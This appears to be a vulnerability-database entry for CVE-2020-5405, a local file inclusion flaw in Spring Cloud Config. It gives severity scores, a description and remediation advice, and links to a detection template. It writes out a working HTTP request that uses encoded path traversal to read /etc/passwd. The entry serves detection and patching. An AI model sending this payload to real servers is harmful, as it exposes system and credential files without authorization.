🔙 목록으로 돌아가기

CVE-2020-5405: Spring Cloud Config - Local File Inclusion

TitleSpring Cloud Config - Local File Inclusion
Authorharshbothra_
SeverityMedium
ImpactAn attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
RemediationUpgrade to a patched version of Spring Cloud Config or apply the recommended security patches to mitigate the vulnerability.
CVSS Score6.5
EPSS Score0.87989
CVE IDCVE-2020-5405
CWE IDCWE-22,CWE-23
Tags cve2020 cve lfi springcloud vmware vuln

🔍 Vulnerability Description

Spring Cloud Config versions 2.2.x prior to 2.2.2, 2.1.x prior to 2.1.7, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files through the spring-cloud-config-server module.

🌐 HTTP Request

GET /a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.20
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5405.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-5405.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A